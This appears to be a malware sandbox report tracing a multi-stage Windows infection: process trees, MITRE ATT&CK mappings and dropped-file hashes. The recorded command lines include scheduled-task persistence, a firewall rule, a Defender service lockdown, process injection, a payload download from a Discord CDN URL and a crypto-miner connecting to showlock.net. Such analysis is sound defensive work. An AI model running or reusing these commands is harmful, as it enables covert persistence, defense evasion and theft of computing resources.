PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 3428 wrote to memory of 4584	3428	3BCD.exe	3BCD.exe
PID 4584 wrote to memory of 2596	4584	3BCD.exe	icacls.exe
PID 4584 wrote to memory of 2596	4584	3BCD.exe	icacls.exe
PID 4584 wrote to memory of 2596	4584	3BCD.exe	icacls.exe
PID 4584 wrote to memory of 3192	4584	3BCD.exe	3BCD.exe
PID 4584 wrote to memory of 3192	4584	3BCD.exe	3BCD.exe
PID 4584 wrote to memory of 3192	4584	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 3192 wrote to memory of 4540	3192	3BCD.exe	3BCD.exe
PID 4540 wrote to memory of 2980	4540	3BCD.exe	build2.exe
PID 4540 wrote to memory of 2980	4540	3BCD.exe	build2.exe
PID 4540 wrote to memory of 2980	4540	3BCD.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 2980 wrote to memory of 2604	2980	build2.exe	build2.exe
PID 4540 wrote to memory of 720	4540	3BCD.exe	build3.exe
PID 4540 wrote to memory of 720	4540	3BCD.exe	build3.exe
PID 4540 wrote to memory of 720	4540	3BCD.exe	build3.exe
PID 3244 wrote to memory of 1364	3244		8402.exe
PID 3244 wrote to memory of 1364	3244		8402.exe
PID 3244 wrote to memory of 1364	3244		8402.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 720 wrote to memory of 4172	720	build3.exe	build3.exe
PID 4172 wrote to memory of 3300	4172	build3.exe	Conhost.exe
PID 4172 wrote to memory of 3300	4172	build3.exe	Conhost.exe
PID 4172 wrote to memory of 3300	4172	build3.exe	Conhost.exe
PID 3244 wrote to memory of 2568	3244		95B6.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe
"C:\Users\Admin\AppData\Local\Temp\4a5176af4c9dedd9e984b193761d994bc68a76481ae3975eb0acb30e687e52ee.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2752

C:\Users\Admin\AppData\Local\Temp\EC06.exe
C:\Users\Admin\AppData\Local\Temp\EC06.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:228

C:\Users\Admin\AppData\Local\Temp\3BCD.exe
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3428

C:\Users\Admin\AppData\Local\Temp\3BCD.exe
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4584

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\bd2742ff-2ebb-4f65-abab-826cb63d41cc" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:2596

C:\Users\Admin\AppData\Local\Temp\3BCD.exe
"C:\Users\Admin\AppData\Local\Temp\3BCD.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3192

C:\Users\Admin\AppData\Local\Temp\3BCD.exe
"C:\Users\Admin\AppData\Local\Temp\3BCD.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4540

C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build2.exe
"C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2980

C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build2.exe
"C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build2.exe"
6⤵
- Executes dropped EXE
PID:2604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2604 -s 1896
7⤵
- Program crash
PID:936

C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build3.exe
"C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build3.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:720

C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build3.exe
"C:\Users\Admin\AppData\Local\a82245c6-b8c4-4d0a-b49f-e0f6064d0e9d\build3.exe"
6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4172

C:\Users\Admin\AppData\Local\Temp\8402.exe
C:\Users\Admin\AppData\Local\Temp\8402.exe
1⤵
- Executes dropped EXE
PID:1364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1364 -s 964
2⤵
- Program crash
PID:2072

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
1⤵
- Creates scheduled task(s)
PID:3300

C:\Users\Admin\AppData\Local\Temp\95B6.exe
C:\Users\Admin\AppData\Local\Temp\95B6.exe
1⤵
- Executes dropped EXE
PID:2568

C:\Users\Admin\AppData\Local\Temp\B565.exe
C:\Users\Admin\AppData\Local\Temp\B565.exe
1⤵
- Executes dropped EXE
PID:164

C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5104

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
4⤵
PID:4428

C:\Windows\SysWOW64\chcp.com
chcp 1251
5⤵
PID:3660

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
5⤵
- Creates scheduled task(s)
PID:2112

C:\Users\Admin\AppData\Local\Temp\nsyBF46.tmp
C:\Users\Admin\AppData\Local\Temp\nsyBF46.tmp
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1864

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsyBF46.tmp" & del "C:\ProgramData\*.dll"" & exit
4⤵
PID:3060

C:\Windows\SysWOW64\timeout.exe
timeout /t 5
5⤵
- Delays execution with timeout.exe
PID:784

C:\Users\Admin\AppData\Local\Temp\april.exe
"C:\Users\Admin\AppData\Local\Temp\april.exe"
2⤵
- Executes dropped EXE
PID:1292

C:\Users\Admin\AppData\Local\Temp\is-BABGQ.tmp\april.tmp
"C:\Users\Admin\AppData\Local\Temp\is-BABGQ.tmp\april.tmp" /SL5="$202D6,7683695,54272,C:\Users\Admin\AppData\Local\Temp\april.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:4468

C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe
"C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -s
4⤵
- Executes dropped EXE
PID:400

C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe
"C:\Users\Admin\AppData\Local\WebSocket connection routine\websocketconnectionroutine.exe" -i
4⤵
- Executes dropped EXE
PID:3684

C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe
"C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4052

C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe
"C:\Users\Admin\AppData\Local\Temp\c53cfff621a84792162f70e790980e38.exe"
3⤵
- Executes dropped EXE
- Checks for VirtualBox DLLs, possible anti-VM trick
- Modifies data under HKEY_USERS
PID:4360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
PID:3300

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
4⤵
PID:3676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5008

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
4⤵
- Modifies data under HKEY_USERS
PID:4592

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
4⤵
PID:2072

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:4976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:4460

C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
5⤵
PID:4504

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:520

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
5⤵
PID:3740

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
5⤵
- Creates scheduled task(s)
PID:4556

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
5⤵
PID:5060

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
PID:3508

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
7⤵
- Launches sc.exe
PID:3344

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:668

C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=uiGheigee2Wuisoh -m=https://cdn.discordapp.com/attachments/1176914652060459101/1177177956087504956/xDYNmhJEPV -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
5⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 8527dfa2-add9-4887-b262-00fa01f0e9cc --tls --nicehash -o showlock.net:443 --rig-id 8527dfa2-add9-4887-b262-00fa01f0e9cc --tls --nicehash -o showlock.net:80 --rig-id 8527dfa2-add9-4887-b262-00fa01f0e9cc --nicehash --http-port 3433 --http-access-token 8527dfa2-add9-4887-b262-00fa01f0e9cc --randomx-wrmsr=-1
6⤵
PID:4924

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe -hide 4924
6⤵
PID:2868

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
7⤵
PID:3692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
5⤵
PID:2156

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:5116

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:2896

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:3852

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
3⤵
- Creates scheduled task(s)
PID:5112

C:\Users\Admin\AppData\Roaming\rbegwcu
C:\Users\Admin\AppData\Roaming\rbegwcu
1⤵
- Executes dropped EXE
PID:1048

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:3300

C:\Users\Admin\AppData\Local\Temp\4D41.exe
C:\Users\Admin\AppData\Local\Temp\4D41.exe
1⤵
PID:2680

C:\Users\Admin\AppData\Local\Temp\4D41.exe
C:\Users\Admin\AppData\Local\Temp\4D41.exe
2⤵
PID:2256

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:2452

C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:4324

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:1172

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:384

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:3456

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:2996

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:3808

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
2⤵
PID:4192

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\mozglue.dll
Filesize
1KB

MD5
b8916f445195adf0ccd5396d55a4e005

SHA1
5ca47e0ed1a8ae5e39baa4565fa8fe50d6b7251a

SHA256
e3710bfe6fbebcc17d70424f3e6ab5684a5b2856382fecb3a5a6690a9f33039f

SHA512
002014a5b1e2fbd0076782df2125be42d41eb0a1d8241ccfbbd7a0819d0205813053aedfa60854f8d90553bc098e6fb0d88a6e8b32859ba87243fbc9411f44bc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
3769f53ac22cdf6658c874805d9983a5

SHA1
53ba470f9cd12bbfde1d1149bcad0029e0f8a84f

SHA256
87ec66df2ed0afbd05a6094ba5ad5bc5b3ef6807828d00323b1addb6addd1c17

SHA512
56ce76ea6aeaaafac14128912b31e12a16a2ca85b97ece7f3034bea5ca3b249c0cfe974b2823f35d38c46d6b3faa7278732b183a86c85f469c422384f08f2925

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
01dea7f8b012708de7c372123450a8b6

SHA1
6cf0d0c3425b1c1cf4737f40cbb7ca75363fe290

SHA256
06a78abd5ff14b6f6c40ce05aca22d6fe3ba394c92acd9521738bac9d21164cc

SHA512
9dac3c497c234e9e1d28448c4395de936e72663a197961878c1cd1f15cad574fcab239e2d133c656e731261a4af36344a5f066b45b4294ac510cb3850a6c4aa2

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
4b20056a48e5660c3e4330d9101404b7

SHA1
e73d6c14ad4b6940b1439bf9e97e1045d45dd3bf

SHA256
c4c672ec2e22364be975156dc1112acd1b58151bf57365453d76358af6239ef5

SHA512
bbe7903cd526520c0f0912e11e9a851a96909d4225962a997a7ae0d376cb23f64a3799ac41d1976fddb6a4e92038d78ac026059d44f70ba348d7e2e383825479

Download Submit
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
Filesize
281KB

MD5
a8c3d439f220e0b02bb814b5f0d033e9

SHA1
d13ba48f550776def5981fc1c6dbda2f9c63bfec

SHA256
ade1b6634f32f89239d691324f273466405930ca30b91dfcca612c41396cd59e

SHA512
d00ac7eda3618daf0500bb3f92e598169021271966b9dfc1b26924b28945944432ab840d4587d4c505209fe74319acd4b1d5cbcec005eb02eef41fbdb126e1a3

Download Submit
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
Filesize
203KB

MD5
6c2e73f64bf5a05929b046a6a1c42732

SHA1
fdecd2f375d1e5a0796ad35f04f2986ba7ebce24

SHA256
9907b35f961262fec872dbfe85460b6216ede074807f7908cfe5ac3136fb726f

SHA512
b99969324d6020332591edfa0b9720f1bfaf40b69d017cefd638fbe2a855cad15e7a7c5bfc2cfb46ceaa6efe304c0ea3d6f8afc9b61d2404aeff985a877c83c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
Filesize
155KB

MD5
d065cb7327d6ee29e923ec646fed7d66

SHA1
4ea7db8370435a7a3274bc394feac76139716eef

SHA256
2b9dad43485cfdc5c97ebe96f2f409f541aef776e6914b8e264d66f5a5ef56ae

SHA512
a0e1e91b32ef3823b54be9a1ee0ae76eebb51678ee3cf2e578cb0a2feb83862016079a3e1136e05fd205ba02c5d741ada97f206d5e241a7495fcc4164437a518

Download Submit
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
Filesize
81KB

MD5
b31b053145291c9cf9badf3007329b99

SHA1
bb561db9d4d0d2a20a2c566c284900e5d4a49423

SHA256
ebddccce3ac905bd6cb4a797dea5694712c0b301f380e0c6238ac4f69802a01e

SHA512
c99b34088cddd086e6560fa29eb130eda08bba3c6efce271477409a83551d178bc2ef238a712f924064a77abc0917aff50e312ccc348e68cc35b05de82f52dd0

Download Submit
C:\Users\Admin\AppData\Local\Temp\3BCD.exe
Filesize
157KB

MD5
330bed28063d55a72bc60da2247ba95b

SHA1
624e6adeb98ab97305e88c3861fd21f625a9785e

SHA256
d01f3f33011720724d19e5280a81104dde1b3b3377e6a90ca77b46094f9fb9f8

SHA512
b25104f16436c2d0c7b31cf3918d0756f7812d3e953910001338d452304dc35254ef76fabde41866034c58a4a30f5cf7f028557c642334999ece6d73e6adf522

Download Submit
C:\Users\Admin\AppData\Local\Temp\4D41.exe
Filesize
44KB

MD5
c0bd18be36de55f3c9e128fdf81a3ce4

SHA1
4f505201c9bda15335576d23234233021fe65a2d

SHA256
d659eb874fe93745299bd146068d5a30bc22207104546d9dc44993ae24541d53

SHA512
14af157bf35c3f9107872bfc69a0e906ff5e216ea49769f758666b1277cb5e9c17b3c0013fae1cb4be91ca2d80ac85e266ffec8f0f2493303bf654c5ffe2da5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8402.exe
Filesize
47KB

MD5
2aa879566f438135c65c498df6293113

SHA1
4e05051b5a340353f9db177409673fcabb7592bc

SHA256
49283e5d49d5e71979d90ac64e320c38bdf2b4fbb08422315abbf2f9c7d7a70d

SHA512
2c5e301405d34327851fd0541104e9f7a72b45a885e409ddb26aaab0a21cff6b72dc0e4d9b5f676a279d87003b10b030f54b095f293c0f55cdb94132356f4b24

Download Submit
C:\Users\Admin\AppData\Local\Temp\8402.exe
Filesize
30KB

MD5
2e82667dcc727f7695cac8e38fbd1bc2

SHA1
1d036a187b2c0f5078a2aaf43f00ded2b31e862f

SHA256
a7e6166036f126100e26fce40ec67e59747556779a61029db705b04392ecadac

SHA512
bbb77862f268d9f353bb90854c032714bdce27cfb412f748958889720d2d4c474e307eeb8a26b8dd44ef344152cb762d5869e70362b1e175dbdb93b9f34394d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\95B6.exe
Filesize
14KB

MD5
7103c3033200e4ddcb1aa34cb7e37ace

SHA1
5708cc24350ec488b6d615e5ae71cec12e4b7cdb

SHA256
6227c95dd573b902cff022a4c3f50b9e12871d524823aa3741b140589fb31d5d

SHA512
11c979745f356d37cd65dd5fd1e1623c8ac2baf765c1035396759a860905184009c208005061069d6e4f58b21e1fdb4bdaf4322e0f6f853fbaeaaa56b2f1d13a

Download Submit
C:\Users\Admin\AppData\Local\Temp\95B6.exe
Filesize
57KB

MD5
4864da37a737000cac658c4b5556fffc

SHA1
20fd57b7e7a6ea8509faaa8a3272dd4efa612483

SHA256
03ba56b0ef71eac1db2473983514ebaa8369564767720818c33f229b98c32152

SHA512
8f2d96eabd4f0916eadaf0c66827e253c153c200e2a24d0e3045b0d0f2dbce5395362bd64c3ce2d04ca41b97c84f4ce9f23dcfbde9fc37b1b9de1eda3f8430ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\B565.exe
Filesize
39KB

MD5
94806a526df82d944a712f72fb91b657

SHA1
62209fdae863fd11d00dc721b1528cd45d1a6b79

SHA256
5dbe06075e7aea3fa1b10ab99baba626e77b3e49c720c77ac781f30377de772e

SHA512
a1bd368f29046df000960ace3e23ac12ca84953f6cc4180abfd812215c5f8374f2b2141d6330086cabc062cd6b0b7fa65544dfe28553423806cc5d5154533056

Download Submit
C:\Users\Admin\AppData\Local\Temp\B565.exe
Filesize
39KB

MD5
c6c0befbfc8c63f8d018203ba4242bae

SHA1
0defe942ec411dc5afd66680b509be762c5aadac

SHA256
b1222c980400a1dbb42ddf69da3c522b85548804a750958353308e03efe2843c

SHA512
917fb757d1dc7115c21e1aff1b254c68b4d94550fdabac8924d0e70c5f2bdb41052dfb2d679ddd047ac7cb1ec18c2e51ecc6a2deff0c8d60be420276a05d208b

Download Submit
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe
Filesize
27KB

MD5
4a39e6673c9793e53a1fd62a24ace0ad

SHA1
7c36c19015072d8c76ff3a43de8cf79d2b1daed3

SHA256
2bcdea8c43d838635a8b0f76eb5a019a37f1afbaa482772147a46641aee14057

SHA512
dcf77c4b0735c5a3b5e22b7455a0a6a9df5cc3f1560580c42f3871fae2ea793c37964806b1b54b51a068ae2900ebbcad8c3fa330c3f47207016ba0e153bfe280

Download Submit
C:\Users\Admin\AppData\Local\Temp\EC06.exe
Filesize
12KB

MD5
9f576b6c5ee5cbe4621c3fb9fea81a7f

SHA1
1a973f9da251b5507b95076d93f96f3d14e66067

SHA256
611e505a5d793bc32f4327d16f75e39fa3e0244b23aacbcce04237d427e85a8f

SHA512
b422030184bd7b89a530e90d8cbd8d11450e345f4b2f804087de43c9a862c1df80e0d8a77b2aa34ee5291dc59414132fb64ffafdf472de78e806016919d4fb17

Download Submit
C:\Users\Admin\AppData\Local\Temp\EC06.exe
Filesize
91KB

MD5
e59ef3f1065c6a35447041a5ba994109

SHA1
a42f244ed98105899675995ece7f6daf24baa46f

SHA256
248cc5189661444c89b862105f7388874970755af3c246ff7f93012791557458

SHA512
dc18876a0f9a25c1bc0a9558193d2a409f2e21d3792e927899dfdbf3652f39b5833b26b329a1797f69764734cca7ddd5051e413736e0df20c3aaf0fad28c2caa

Download Submit
C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe
Filesize
21KB

MD5
115ca418498e1534951189fd0646f86e

SHA1
aed122c8163a0e4c7c5ab5fff90380a3f2ad00d6

SHA256
9d0c46eea211ee1944d6307ebe3326493b1fd2fce7b604b82f132236a00c5761

SHA512
ea21e490102861dd21bda70fb27d1ba38cf7aa79b4fe743e727f5803131871c2d2a7be4e2c1c8f3d76764f2ee38bfb684611cbac7f1a999e5d9100140650824e

Download Submit
C:\Users\Admin\AppData\Local\Temp\InstallSetup3.exe
Filesize
30KB

MD5
cbd9a3fc710f06ffc4ef04dd7d303879

SHA1
245bf82532add67e8777ea7fb05f7fcf98012bf2

SHA256
242dcd572e8760a49de6b9397e6c167802d7b2aa4af9b47ab0090783eaaba638

SHA512
34ef1a3e12371904499cd3c8363c452d629c76035bd29c8f521e6d7228bed22a917a2ea2dc1713c3fa48a3a512a3e9af093785174dcb021ffa03f43e7b53e3b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sgznqwiw.yby.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
